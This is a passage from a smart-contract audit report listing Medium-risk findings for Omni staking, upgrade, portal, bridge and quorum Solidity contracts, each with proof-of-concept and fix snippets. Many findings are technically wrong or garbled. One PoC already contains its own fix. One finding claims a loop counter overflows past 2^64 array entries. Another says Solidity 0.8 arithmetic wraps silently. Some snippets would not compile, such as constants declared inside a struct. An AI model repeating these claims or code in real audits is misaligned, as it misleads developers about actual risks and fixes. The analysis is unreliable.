- File Location `Staking.sol`

3.4.70 Event Emission in Loops

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `Staking.sol` contract contains two notable issues: insufficient checks on validator addresses and the potential for gas limit issues due to event emissions in loops.
- Finding Description

1. **Insufficient Checks on Validator Addresses**: The `delegate` function does not validate the `validator` address input, which could allow for the passing of a zero address or an invalid address. This oversight breaks the security guarantees of address validation and can lead to unexpected behavior or loss of funds.
    - **Security Guarantees Broken**: This issue violates the principle of ensuring valid inputs and can cause unintended consequences in the state of the contract.

- **Propagation**: If a malicious user calls the `delegate` function with a zero or invalid validator address, the contract will proceed without any check, potentially resulting in the loss of funds since there's no delegation happening.

2. **Event Emission in Loops**: The `allowValidators` and `disallowValidators` functions emit events within a loop that processes multiple validator addresses. If a large number of addresses are provided, it may exceed the block gas limit, causing the transaction to fail.
    - **Security Guarantees Broken**: The lack of safeguards against excessive gas consumption undermines the reliability and predictability of contract execution.
    - **Propagation**: If an attacker or user provides an excessively long array of validators, the contract will fail during execution due to gas limits, effectively denying the service.

- Vulnerability Details
- Insufficient Checks on Validator Addresses
- **Location**: In the `delegate` function.
- **Description**: The contract accepts any address as a validator without validation, leading to the risk of incorrect or malicious input.
- Event Emission in Loops
- **Location**: In the `allowValidators` and `disallowValidators` functions.
- **Description**: Emitting events in a loop can lead to exceeding the gas limit if the array size is too large, causing transactions to fail unexpectedly.
- Impact The potential impact of these issues includes:
- **For Insufficient Checks**: Malicious users can manipulate the contract state, leading to loss of funds or denial of service.
- **For Event Emission in Loops**: Users may be unable to perform valid operations if they attempt to process too many validators in one transaction, leading to a poor user experience and contract unreliability.
- Proof of Concept
- Insufficient Checks on Validator Addresses

```
function delegate(address validator) external payable {
    require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
    require(validator != address(0), "Staking: invalid validator address"); // Add this check
    require(msg.value >= MinDelegation, "Staking: insufficient deposit");

    require(msg.sender == validator, "Staking: only self delegation");

    emit Delegate(msg.sender, validator, msg.value);
}
```

- Event Emission in Loops

```
function allowValidators(address[] calldata validators) external onlyOwner {
    require(validators.length <= 100, "Staking: too many validators"); // Limit the number of validators
    for (uint256 i = 0; i < validators.length; i++) {
        isAllowedValidator[validators[i]] = true;
        emit ValidatorAllowed(validators[i]);
    }
}

function disallowValidators(address[] calldata validators) external onlyOwner {
    require(validators.length <= 100, "Staking: too many validators"); // Limit the number of validators
    for (uint256 i = 0; i < validators.length; i++) {
        isAllowedValidator[validators[i]] = false;
        emit ValidatorDisallowed(validators[i]);
    }
}
```

- Recommendations

1. **For Insufficient Checks**: Add a validation check for the `validator` address to ensure it is not zero. This simple check prevents invalid input and maintains the integrity of the contract's operations.
2. **For Event Emission in Loops**: Limit the number of validator addresses processed in a single transaction to a manageable number (e.g., 100). This prevents gas limit issues and ensures that transactions remain reliable.

By implementing these recommendations, the contract will be more secure and resilient against potential attacks or misuse.

- File Location
- `Staking.sol`

3.4.71 Missing Upgrade Logic

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `Upgrade` contract lacks a mechanism to execute planned upgrades, making the upgrade plans merely informational. This could lead to operational inefficiencies and confusion regarding upgrade processes.
- Finding Description The `Upgrade` contract allows the owner to plan upgrades through the `planUpgrade` function, which emits a `PlanUpgrade` event with the upgrade details. However, there is no function to store or execute the upgrade, meaning that while upgrades can be planned, they cannot be carried out. This deficiency breaks the expected security guarantees of upgradeability in smart contracts, as no actual execution takes place, which can lead to stale states or confusion regarding the operational state of the contract.

A malicious actor could exploit this lack of execution logic by repeatedly calling `planUpgrade` to create multiple upgrade plans without ever executing any. This could cause confusion among users and developers regarding which upgrade is intended to be active.

- Vulnerability Details
- **Missing Upgrade Mechanism**: The contract only provides functionality for planning upgrades and canceling them but lacks any method for the execution of these plans.
- **Potential for Confusion**: Users and developers may assume that the planned upgrades can be executed based on the emitted events, leading to operational risks.
- Impact This issue is critical as it directly impacts the upgradeability and reliability of the smart contract. Without an execution mechanism, the utility of the contract is significantly diminished, leading to potential operational failures and misunderstandings about the contract's state.
- Proof of Concept No executable code exists to demonstrate the flaw, as the contract lacks an upgrade execution function. However, the issue can be illustrated through the following example:

1. The owner calls `planUpgrade` with a new upgrade plan.
2. A malicious actor then calls `planUpgrade` again with another upgrade plan.
3. No method exists to execute either upgrade, leading to ambiguity and potential misuse of the contract.

- Recommendations To resolve the issue, an upgrade execution mechanism should be implemented. Below is a code snippet that introduces a simple upgrade execution function along with a storage mechanism for the planned upgrade:

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity =0.8.24;

import { OwnableUpgradeable } from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";

contract Upgrade is OwnableUpgradeable {
    event PlanUpgrade(string name, uint64 height, string info);
    event CancelUpgrade();

    struct Plan {
        string name;
```

```
        uint64 height;
        string info;
    }

    Plan public currentPlan; // Storage for the current upgrade plan

    function initialize(address owner_) public initializer {
        __Ownable_init(owner_);
    }

    function planUpgrade(Plan calldata plan) external onlyOwner {
        currentPlan = plan; // Store the planned upgrade
        emit PlanUpgrade(plan.name, plan.height, plan.info);
    }

    function executeUpgrade() external onlyOwner {
        require(currentPlan.height <= block.number, "Upgrade not yet available");
        // Logic for executing the upgrade (e.g., apply changes, update state)

        // Clear current plan after execution
        delete currentPlan;
    }

    function cancelUpgrade() external onlyOwner {
        delete currentPlan; // Clear the planned upgrade
        emit CancelUpgrade();
    }
}
```

- Explanation of the Fix
- **Storage for the Current Plan**: The `currentPlan` variable stores the most recent planned upgrade, ensuring that there is always a reference to the current upgrade state.
- **Execution Function**: The `executeUpgrade` function allows the owner to execute the planned upgrade only if the specified block height has been reached, thus enforcing a controlled upgrade mechanism.
- **Cancel Functionality**: The cancel function now clears the planned upgrade, reducing confusion.

By implementing these changes, the contract will have a functional upgrade mechanism, improving its operational reliability and security.

3.4.72 Use of internal visibility on constants

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The constants in the `OmniPortalConstants.sol` contract are declared with `internal` visibility, limiting their accessibility to the contract itself and any derived contracts. This could hinder the usability of these constants across other contracts that might benefit from them.
- Finding Description The use of `internal` visibility on constants restricts their access to only the `OmniPortalConstants` contract and any contracts that inherit from it. This limits the ability of other contracts to reference these constants directly, which is counterproductive given their potential utility.

By declaring these constants as `public`, other contracts can easily access critical values like `XSubQuorumNumerator`, `XSubQuorumDenominator`, `ActionXSubmit`, and `ActionXCall` without requiring inheritance. This change enhances interoperability and usability across the system.

The issue does not lead to immediate security risks or vulnerabilities, but it does break the usability guarantees for any external contracts that may need to reference these values. While a malicious actor cannot directly exploit this limitation, it could lead to unnecessary complexity in contract design or increased gas costs if inheritance is required solely for constant access.

- Vulnerability Details The current implementation of the constants with `internal` visibility means that if another contract needs to utilize these constants, it either has to inherit from `OmniPortalConstants` or duplicate the constants within its own code. This leads to redundancy and increases the risk of

inconsistent values across contracts, as any updates to constants in `OmniPortalConstants` would not automatically propagate to the derived contracts.

- Impact The impact of this issue is primarily usability rather than a direct security risk. While it does not create an exploitable vulnerability, it can complicate development and increase the likelihood of errors due to duplicate definitions or mismatched values across contracts.
- Proof of Concept To illustrate the issue, consider the following simplified example:

```
contract ExampleContract {
    // This would require inheritance to access the constants
    OmniPortalConstants internal constant omniConstants = new OmniPortalConstants();

    function useConstants() external view returns (uint8) {
        // Cannot access omniConstants.XSubQuorumNumerator directly
        return omniConstants.XSubQuorumNumerator; // This would fail unless inherited
    }
}
```

In this example, `ExampleContract` cannot directly access the `XSubQuorumNumerator` constant without inheriting from `OmniPortalConstants`, thus demonstrating the limitations imposed by the `internal` visibility.

- Recommendations To resolve this issue, change the visibility of the constants in the `OmniPortalConstants` contract from `internal` to `public`. This will allow other contracts to reference these constants directly without needing to inherit from this contract.
- Fixed Code Snippet

```
/**
 * @title OmniPortalConstants
 * @notice Constants used by the OmniPortal contract
 */
contract OmniPortalConstants {
    uint8 public constant XSubQuorumNumerator = 2;
    uint8 public constant XSubQuorumDenominator = 3;
    bytes32 public constant ActionXSubmit = keccak256("xsubmit");
    bytes32 public constant ActionXCall = keccak256("xcall");
    uint64 internal constant BroadcastChainId = 0;
    address internal constant CChainSender = address(0);
    address internal constant VirtualPortalAddress = address(0);
}
```

By implementing these changes, the constants become accessible to any contract that needs them, improving usability and reducing the potential for redundancy and errors in contract implementations.

3.4.73 Lack of constructor for state initialization

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The contract `OmniPortalStorage` lacks a constructor for initializing critical state variables, which can lead to uninitialized state and potential vulnerabilities.
- Finding Description The `OmniPortalStorage` contract defines several state variables that are crucial for its operation, such as `xsubValsetCutoff`, `xreceiptMaxErrorSize`, and others. However, there is no constructor present to initialize these variables upon contract deployment. This oversight can result in state variables being set to their default values (e.g., `0` for integers), which may not be appropriate for the intended functionality of the contract.

This issue breaks the security guarantee of ensuring that the contract's state is always in a valid and expected configuration. Without proper initialization, an attacker could exploit this flaw by interacting with the contract in a way that assumes these variables have been set to expected values, leading to unintended behaviors or outcomes.

- Example of Propagation

1. An attacker deploys the contract without initializing critical state variables.
2. They then call functions that rely on these uninitialized variables, such as those that check whether a shard is supported.

3. The contract may return incorrect results, allowing the attacker to gain unauthorized access or manipulate the contract's behavior.

- Vulnerability Details The absence of a constructor can lead to:
- Uninitialized state variables causing logic errors.
- Inconsistent contract state, leading to vulnerabilities that can be exploited by malicious actors.
- Difficulty in ensuring that the contract behaves as intended, as critical settings are not established at the time of deployment.
- Impact This vulnerability can have a significant impact on the integrity and security of the `OmniPortalStorage` contract. If state variables are not properly initialized, it could lead to incorrect assumptions in contract logic, enabling unauthorized access or manipulation of state, ultimately compromising the contract's functionality and security.
- Proof of Concept Here's an example of how a lack of initialization could lead to issues:

```
function isShardSupported(uint64 shardId) external view returns (bool) {
    return isSupportedShard[shardId]; // Could return false unexpectedly if not initialized properly
}
```

If `isSupportedShard` mapping is not initialized correctly, it may return `false` for all shard IDs, leading to false assumptions by contract users.

- Recommendations To resolve this issue, implement a constructor to initialize the state variables at the time of contract deployment. Here's a proposed code snippet to demonstrate this:

```
abstract contract OmniPortalStorage is IOmniPortal, IOmniPortalAdmin {
    // Existing state variables...

    // Constructor to initialize state variables
    constructor(
        uint8 _xsubValsetCutoff,
        uint16 _xreceiptMaxErrorSize,
        uint16 _xmsgMaxDataSize,
        uint64 _xmsgMaxGasLimit,
        uint64 _xmsgMinGasLimit,
        uint64 _latestValSetId,
        uint64 _omniChainId,
        uint64 _omniCChainId,
        address _feeOracle
    ) {
        xsubValsetCutoff = _xsubValsetCutoff;
        xreceiptMaxErrorSize = _xreceiptMaxErrorSize;
        xmsgMaxDataSize = _xmsgMaxDataSize;
        xmsgMaxGasLimit = _xmsgMaxGasLimit;
        xmsgMinGasLimit = _xmsgMinGasLimit;
        latestValSetId = _latestValSetId;
        omniChainId = _omniChainId;
        omniCChainId = _omniCChainId;
        feeOracle = _feeOracle;
    }
}
```

This constructor ensures that all necessary state variables are set with valid values at the time of contract creation, helping to maintain security and functionality.

- File Location `OmniPortalStorage.sol`

3.4.74 No function to modify state variables

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `OmniPortalStorage` contract lacks functions to modify critical state variables, which could hinder the contract's functionality and flexibility. This limitation may lead to unintentional behavior, especially in a decentralized environment where updates to state variables are crucial.
- Finding Description The `OmniPortalStorage` contract contains several important state variables, such as `xsubValsetCutoff`, `xreceiptMaxErrorSize`, and various mappings that track supported chains and validators. However, there are no functions provided to modify these state variables after the contract's deployment.

This absence of setter functions breaks the security guarantee of contract upgradability and adaptability. Without the ability to modify state variables, the contract cannot respond to changing network conditions, such as adding new supported chains or adjusting validator sets.

A malicious actor could exploit this lack of functionality by assuming control over the contract through methods not provided for state updates, leading to a situation where the contract remains static and unable to evolve or fix issues that arise after deployment. For example, if new chains need to be supported, there is no way to update the `isSupportedShard` or `isSupportedDest` mappings, which could lead to operational failure.

- Vulnerability Details
- **Type:** Functionality Limitation
- **Affected Components:** Public state variables and mappings.
- **Security Guarantees Broken:** Upgradability, adaptability, and correct behavior under operational changes.
- Impact The impact of this issue is significant as it directly affects the contract's ability to adapt to new requirements or to respond to security updates. If state variables cannot be modified, the contract may become obsolete or vulnerable to evolving threats, which is particularly detrimental in the context of multi-chain operations.
- Proof of Concept No code examples are provided for state modifications in the current implementation. However, here is a conceptual example of how the addition of functions would look:

```
function setXsubValsetCutoff(uint8 newCutoff) external onlyAdmin {
    xsubValsetCutoff = newCutoff;
}

function setXreceiptMaxErrorSize(uint16 newSize) external onlyAdmin {
    xreceiptMaxErrorSize = newSize;
}

// Additional setter functions for other state variables...
```

- Recommendations To resolve this issue, it is recommended to implement setter functions for key state variables, ensuring that only authorized users can call these functions (using an `onlyAdmin` modifier or similar access control). Here's a code snippet demonstrating how to implement these changes:

```
// Example setter function for xsubValsetCutoff
function setXsubValsetCutoff(uint8 newCutoff) external onlyAdmin {
    xsubValsetCutoff = newCutoff;
}

// Example setter function for isSupportedShard
function updateSupportedShard(uint64 shardId, bool isSupported) external onlyAdmin {
    isSupportedShard[shardId] = isSupported;
}

// Additional setter functions can be added for other state variables as needed
```

These functions would allow controlled updates to the contract's state, enabling it to adapt to new requirements and ensuring its long-term viability.

- File Location `OmniPortalStorage.sol`

3.4.75 Improper Use of `uint64`

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

3.5 Summary

The use of `uint64` for loop counters in the `list` and `bulkRegister` functions poses a potential risk of integer overflow, which could lead to unexpected behavior or transaction failures if the number of deployments exceeds the maximum value for `uint64`.

- Finding Description The `PortalRegistry` contract defines the `chainIds` array as `uint64[] public chainIds;`. Both the `list` and `bulkRegister` functions utilize `uint64` for loop iteration over this array. While `uint64` can handle a considerable number of entries, it is not immune to overflow errors in Solidity.

If a malicious actor were to call `bulkRegister` with a number of deployments approaching the maximum capacity of `uint64`, it could cause the contract to either revert or behave unexpectedly due to an overflow error. This vulnerability compromises the contract's security guarantees by allowing for potential denial-of-service attacks and improper handling of state changes.

- Vulnerability Details The potential overflow occurs in the following code segments:

```
function list() external view returns (Deployment[] memory) {
    Deployment[] memory deps = new Deployment[](chainIds.length);
    for (uint64 i = 0; i < chainIds.length; i++) {
        deps[i] = deployments[chainIds[i]];
    }
    return deps;
}

function bulkRegister(Deployment[] calldata deps) external onlyOwner {
    for (uint64 i = 0; i < deps.length; i++) {
        _register(deps[i]);
    }
}
```


If `chainIds.length` or `deps.length` exceeds the maximum value of `uint64`, this could lead to overflow and incorrect behavior.

- Impact The impact of this vulnerability is significant. An overflow could allow a malicious user to craft a specific input that causes the loop to behave unpredictably, leading to either:

1. Reversion of the transaction.
2. Alteration of the intended logic, possibly allowing unauthorized access or data manipulation.

Given the potential for denial-of-service, this vulnerability poses a substantial risk to the integrity and availability of the `PortalRegistry` contract.

- Proof of Concept An example input that might lead to overflow could be an array length set to a value exceeding `2^64 - 1`, which would cause a transaction failure:

```
// Example call that could lead to overflow
contractInstance.bulkRegister(deploymentsWithLengthExceedingMaxValue);
```

- Recommendations To mitigate this issue, the loop variable type should be changed to `uint256`, which has a much larger capacity and is the default type used in most Solidity code. Here's the updated code snippet:

```
function list() external view returns (Deployment[] memory) {
    Deployment[] memory deps = new Deployment[](chainIds.length);
    for (uint256 i = 0; i < chainIds.length; i++) {  // Change to uint256
        deps[i] = deployments[chainIds[i]];
    }
    return deps;
}

function bulkRegister(Deployment[] calldata deps) external onlyOwner {
    for (uint256 i = 0; i < deps.length; i++) {  // Change to uint256
        _register(deps[i]);
    }
}
```

By implementing these changes, the potential for integer overflow is eliminated, enhancing the security and reliability of the contract.

- File Location `PortalRegistry.sol`

3.5.1 Lack of input validation in pause and unpause functions

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary Lack of input validation in the `pause` and `unpause` functions allows arbitrary bytes32 values to be used, potentially leading to unexpected behavior.
- Finding Description The `pause` and `unpause` functions in the `OmniBridgeCommon` contract do not validate the `action` parameter. This means that an attacker can pass an arbitrary bytes32 value, which could either be meaningless or maliciously crafted to cause confusion or unintended state changes. The absence of input validation breaks the integrity and reliability of the contract's operations, as the expected behavior is contingent on valid action identifiers.

This vulnerability compromises the security guarantee of correct access control, as the functions should only allow known actions to be paused or unpaused. Without validation, any caller can pause or unpause actions that were not intended, potentially leading to denial of service or unauthorized state changes.

- Vulnerability Details
- **Location**: `OmniBridgeCommon.sol`
- **Functions affected**: `pause(bytes32 action)` and `unpause(bytes32 action)`
- **Potential exploit**: A malicious actor could call `pause` or `unpause` with an invalid action, causing confusion about the contract's state and operations.
- Impact The impact assessment is categorized as medium severity due to the possibility of affecting contract functionality without immediate financial loss. Although it does not allow for outright theft of funds, the ability to alter operational states could disrupt normal operations, leading to denial of service or rendering the contract unusable in specific contexts.
- Proof of Concept Here's a simple demonstration of how this issue could manifest:

```
contract Test {
    OmniBridgeCommon bridge;

    function testPause() public {
        // Assume bridge is initialized
        bytes32 invalidAction = keccak256("invalidAction");
        bridge.pause(invalidAction); // This should be rejected, but it isn't
    }
}
```

In this example, the `testPause` function attempts to pause an invalid action, which would succeed due to the lack of validation.

- Recommendations To mitigate this vulnerability, it is recommended to implement input validation within the `pause` and `unpause` functions. This can be achieved by checking if the provided `action` matches known valid constants. Below is the revised code snippet with the recommended validation:

```
function pause(bytes32 action) external onlyOwner {
    require(action == ACTION_WITHDRAW || action == ACTION_BRIDGE, "OmniBridge: invalid action");
    _pause(action);
}

function unpause(bytes32 action) external onlyOwner {
    require(action == ACTION_WITHDRAW || action == ACTION_BRIDGE, "OmniBridge: invalid action");
    _unpause(action);
}
```

By implementing this validation, the functions will reject invalid actions, ensuring that only intended operations can be paused or unpaused.

- File Location `OmniBridgeCommon.sol`

3.5.2 Inadequate Fee Validation in _bridge Function in OmniBridgeL1.sol

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary In the `_bridge` function, the check for sufficient `msg.value` against the fee calculated by `omni.feeFor(...)` is insufficiently robust. This can lead to incorrect fee handling, which may allow users to underpay fees or lead to unexpected failures.
- Finding Description The fee validation in the `_bridge` function relies on the assumption that the fee calculated by `omni.feeFor(...)` is always accurate and within expected bounds. However, if there are any changes in the fee structure or if the `omni` contract has been compromised, this check could allow users to bridge tokens without paying the required fees. This could undermine the financial model of the bridge and potentially lead to financial loss for the protocol.

For instance, a malicious actor could exploit a vulnerability in the `omni` contract or manipulate the input parameters to calculate a lower fee than expected, allowing them to submit a lower `msg.value` and bypass the fee requirement.

- Vulnerability Details
- **Location:** `require(msg.value >= omni.feeFor(...))`
- **Severity:** Medium
- **Affected Function:** `_bridge`
- **Type of Vulnerability:** Inadequate validation of fee calculations.
- Impact The potential impact of this vulnerability is significant as it can disrupt the expected flow of fees within the bridge mechanism. If attackers successfully bypass the fee requirement, it could lead to a loss of funds and undermine the integrity of the bridging process. This can also erode user trust in the platform and lead to financial instability.
- Proof of Concept Here is a simplified example of how an attacker could exploit this vulnerability:

1. Assume the `omni` contract's fee calculation logic is altered or compromised.
2. An attacker initiates a bridge transaction with a crafted `msg.value` that is less than the actual fee calculated by a valid contract.
3. The `require` statement is satisfied because the `feeFor` function returns a manipulated lower fee.
4. The transaction is processed, and the attacker successfully bridges tokens without paying the full required fee.

- Recommendations To mitigate this issue, consider the following solutions:

1. **Validation of Fee Logic:** Ensure that the `feeFor` method in the `omni` contract is secure and cannot be manipulated. Implement checks to confirm that it returns a valid fee.
2. **Graceful Failure:** Introduce logic to handle cases where the fee cannot be accurately determined, such as reverting the transaction or defaulting to a minimum fee.
3. **Code Snippet for Fixed Logic:**

```
uint256 calculatedFee = omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT);
require(msg.value >= calculatedFee, "OmniBridge: insufficient fee");
// Optionally, log the fee for auditing purposes
emit FeePaid(msg.sender, calculatedFee);
```

By implementing these recommendations, you can strengthen the fee validation logic and enhance the security of the bridge mechanism.

3.5.3 Constructor Initialization Check

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `constructor(address token_)` of the `OmniBridgeL1` contract disables initializers without verifying if the contract is already initialized, which may lead to confusion if the contract is reused or upgraded.
- Finding Description The constructor of the `OmniBridgeL1` contract includes a call to `_disableInitializers()`, which disables further initialization of the contract. However, it does not perform any checks to confirm that this contract instance is not already initialized. This lack of verification can cause issues when the contract is reused or upgraded, as developers may mistakenly attempt to initialize the contract multiple times.

This flaw can lead to confusion and errors in contract deployment and management, potentially compromising the security and functionality of the contract. While this issue does not create an immediate vulnerability, it undermines the contract's expected initialization behavior and can lead to unforeseen bugs in future upgrades.

- Vulnerability Details The absence of a proper initialization check could allow developers to inadvertently set up the contract in an inconsistent state. The common expectation for smart contract initializers is that they should be able to set the initial state safely and only once.
- Impact This issue is categorized as medium severity because it does not pose a direct security threat but can lead to significant operational issues and confusion. If the contract is upgraded or reused inappropriately, it could lead to failure in critical functionalities, impacting users and their interactions with the bridge.
- Proof of Concept Here is an example of how a developer might mistakenly try to initialize the contract more than once:

```
OmniBridgeL1 bridge = new OmniBridgeL1(tokenAddress);
// Later attempts to reinitialize
bridge.initialize(ownerAddress, omniAddress); // This could lead to confusion
```

- Recommendations To resolve this issue, it is recommended to implement an initialization check in the constructor or modify the `_disableInitializers` call to ensure proper contract lifecycle management.

Here is a proposed snippet to include an initialization check:

```
constructor(address token_) {
    require(token_ != address(0), "Token address cannot be zero");
    token = IERC20(token_);
    _disableInitializers();
}
```

This addition ensures that the token address is valid and prevents any potential issues related to reinitialization of the contract.

- File Location `OmniBridgeL1.sol`

3.5.4 Improper Error Messages

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The error messages in the `require` statements lack clarity, potentially leading to confusion for developers and users interacting with the contract.
- Finding Description In the `OmniBridgeNative` contract, several `require` statements use vague error messages that do not provide sufficient context for failure cases. For example, the message `"OmniBridge: not bridge"` does not clearly indicate what condition failed or what the expected caller should be. This lack of specificity can hinder debugging efforts and make it difficult for developers to identify the source of errors during transactions.

The security guarantee that is primarily affected here is the **user experience and clarity in transaction failure reasons**. By not providing meaningful error messages, developers may misinterpret the issues or overlook them altogether, leading to a potential increase in unintentional contract misuse.

- Vulnerability Details The ambiguity in error messages can be exploited indirectly. While it doesn't create an immediate security vulnerability, it can lead to situations where developers might mistakenly assume that their transactions are functioning correctly when they are not. This can lead to incorrect assumptions about the state of funds or the operational flow of the contract.
- Example of Propagation If a developer tries to bridge tokens but encounters the error `require(msg.sender == address(omni), "OmniBridge: not xcall");`, they may not understand that the issue stems from not calling the function from the correct address. This can lead to repeated failed attempts and wasted gas fees.
- Impact The impact of this issue is categorized as **medium** because while it does not directly lead to a financial loss or exploit, it affects the usability and maintainability of the contract. Developers relying on precise error messages for debugging might struggle to identify issues, which can lead to longer development cycles and increased costs in managing interactions with the contract.
- Proof of Concept The current error messages are vague, as seen in the following examples:

```
require(msg.sender == address(omni), "OmniBridge: not xcall");
require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");
```

These messages do not give adequate context about the failure reasons, making it challenging for developers to troubleshoot effectively.

- Recommendations To enhance the clarity of error messages, it is recommended to update the `require` statements with more descriptive messages. Here are the suggested modifications:

```
require(msg.sender == address(omni), "OmniBridge: caller must be OmniPortal contract");
require(xmsg.sourceChainId == l1ChainId, "OmniBridge: source chain ID must match configured L1 chain ID");
```

By providing more informative error messages, developers will have a clearer understanding of what went wrong, facilitating easier debugging and improved contract interactions.

- File Location `OmniBridgeNative.sol`

3.5.5 Potential Overflow

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary Potential overflow in the `votedPower` variable during the aggregation of voting power, leading to incorrect quorum calculations.
- Finding Description The `verify` function accumulates the `votedPower` variable by adding the voting power of each validator represented by the `validators` mapping. Since `votedPower` is declared as `uint64`, it can overflow if the total voting power exceeds the maximum value for a `uint64` (2^64-1).

This vulnerability breaks the security guarantee of integrity, as it allows a malicious actor to manipulate the voting power by strategically crafting signatures, leading to situations where the quorum might be erroneously calculated as valid when it is not. If the `votedPower` exceeds the maximum limit, it wraps

around to zero, potentially allowing the contract to erroneously return true in the `_isQuorum` function, thus falsely confirming a quorum.

- Vulnerability Details
- **Affected Function**: `verify`
- **Variable at Risk**: `votedPower`
- **Data Type**: `uint64`
- **Maximum Value**: 18,446,744,073,709,551,615 (2^64-1)
- Exploitation Scenario A malicious actor could send enough signatures from validators such that the combined voting power exceeds the `uint64` limit. Upon reaching this limit, any further additions would wrap around and result in a misleadingly low `votedPower`, potentially satisfying the quorum condition erroneously.
- Impact The impact is rated as **Medium**. While the overflow does not necessarily lead to an immediate system failure, it can result in significant logical errors that affect the integrity of the consensus mechanism. This can lead to unauthorized actions being executed, undermining the trust in the contract.
- Proof of Concept Here is the relevant snippet from the `verify` function where the overflow occurs:

```
votedPower += validators[sig.validatorAddr];
```

If `validators[sig.validatorAddr]` is sufficiently large and multiple signatures are processed, `votedPower` may exceed the limit of `uint64`.

- Recommendations To fix this issue, change the data type of `votedPower` from `uint64` to `uint256`, which provides a much larger range to accommodate more substantial voting power sums.
- Fixed Code Snippet

```
uint256 votedPower;  // Change from uint64 to uint256
```

Additionally, implement checks to ensure that the total voting power is within reasonable limits before adding to `votedPower` to prevent any unforeseen edge cases.

- file location

`Quorum.sol`

3.5.6 Array Management

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The `Submission` struct allows dynamic arrays (`Msg[] msgs` and `bytes32[] proof`) without size constraints, potentially leading to excessive gas costs when processing numerous entries.
- Finding Description The lack of size constraints on dynamic arrays within the `Submission` struct can lead to a scenario where a large number of messages or proofs are included. This can cause transactions to exceed gas limits or become prohibitively expensive.

This issue breaks the security guarantee of gas efficiency, as it may allow a malicious actor to exploit the contract by submitting a large number of entries, leading to increased transaction fees and potential denial of service for legitimate users.

For example, if a malicious user were to create a `Submission` with an enormous number of messages, the gas cost for executing related functions would skyrocket, effectively preventing other users from interacting with the contract in a timely or cost-effective manner.

- Vulnerability Details
- **Location**: `XTypes.sol`, specifically in the `Submission` struct.
- **Issue**: The `Msg[] msgs` and `bytes32[] proof` arrays can grow without limit.
- **Effect**: Increased transaction costs, potential denial of service.

- Impact The impact is classified as medium because while it does not directly compromise the integrity or confidentiality of the system, it significantly affects usability and could deter users due to high transaction costs. This may lead to a loss of reputation for the platform and prevent legitimate transactions from being processed efficiently.
- Proof of Concept Consider the following example of a malicious actor constructing a `Submission` with a very large number of messages:

```
Submission memory maliciousSubmission;
for (uint i = 0; i < 1e6; i++) {
    maliciousSubmission.msgs.push(Msg({
        destChainId: 1,
        shardId: 1,
        offset: uint64(i),
        sender: msg.sender,
        to: address(0x123),
        data: "data",
        gasLimit: 1000000
    }));
}
```

This could lead to excessive gas usage when this `maliciousSubmission` is processed, resulting in a transaction failure or unreasonably high costs.

- Recommendations To address this issue, it is recommended to impose a maximum limit on the size of dynamic arrays within the `Submission` struct. Here's a modified version of the struct that includes size constraints:

```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.12;

library XTypes {
    struct Submission {
        bytes32 attestationRoot;
        uint64 validatorSetId;
        BlockHeader blockHeader;
        Msg[] msgs; // Consider using a fixed size or a maximum size for this array
        bytes32[] proof; // Consider using a fixed size or a maximum size for this array
        bool[] proofFlags;
        SigTuple[] signatures;

        // Constants for maximum sizes
        uint constant MAX_MSGS = 100; // Example limit
        uint constant MAX_PROOF = 50; // Example limit
    }

    function addMsg(Submission storage self, Msg memory newMsg) external {
        require(self.msgs.length < MAX_MSGS, "Max messages limit reached");
        self.msgs.push(newMsg);
    }

    function addProof(Submission storage self, bytes32 newProof) external {
        require(self.proof.length < MAX_PROOF, "Max proof limit reached");
        self.proof.push(newProof);
    }
}
```

- File Location `XTypes.sol`

3.5.7 A single system call will cause the whole bundle of transactions to a destination chain to fail and potentially brick user funds

Severity: Medium Risk

Context: OmniPortal.sol#L322-L335

- Summary If a system call `_syscall()` fails for an unexpected reason in the **OmniPortal** contract on a given destination chain it'll cause the whole `xsubmit()` transaction to fail. Since an `XSubmission` contains all (or a batch of) messages from a single cross-chain to another cross-chain (also called a **Stream**) that submission can include bridging messages of users for variable amounts of assets. As there's currently no retry mechanism for failed cross-chain messages by the Omni relayer that can cause a severe loss of funds for ordinary users.
- Description When a new attested batch of messages from a given source chain are relayed to the respective destination chain by calling the `xsubmit()` function of the OmniPortal contract on the destination chain and passing the submission with all messages in it, they are executed consecutively in a loop:

```
    function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
    {
        XTypes.Msg[] calldata xmsgs = xsub.msgs;
        XTypes.BlockHeader calldata xheader = xsub.blockHeader;
        uint64 valSetId = xsub.validatorSetId;

        // ... perform submission and messages validation

        // execute xmsgs
        for (uint256 i = 0; i < xmsgs.length; i++) {
           _exec(xheader, xmsgs[i]);
        }
    }
```

The internal `_exec()` executes a single cross-chain message after performing some extra validation and deciding how to execute it, depending if the destination address `to` of the message is the `VirtualPortalAddress` or not.

```
    function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
        // ... validation

        // set _xmsg to the one we're executing, allowing external contracts to query the current xmsg via
↪   xmsg()
        _xmsg = XTypes.MsgContext(sourceChainId, xmsg_.sender);

       (bool success, bytes memory result, uint256 gasUsed) = xmsg_.to == VirtualPortalAddress // calls to
↪   VirtualPortalAddress are syscalls
            ? _syscall(xmsg_.data)
            : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);

        // reset xmsg to zero
        delete _xmsg;

        bytes memory errorMsg = success ? bytes("") : result;

        emit XReceipt(sourceChainId, shardId, offset, gasUsed, msg.sender, success, errorMsg);

    }
```

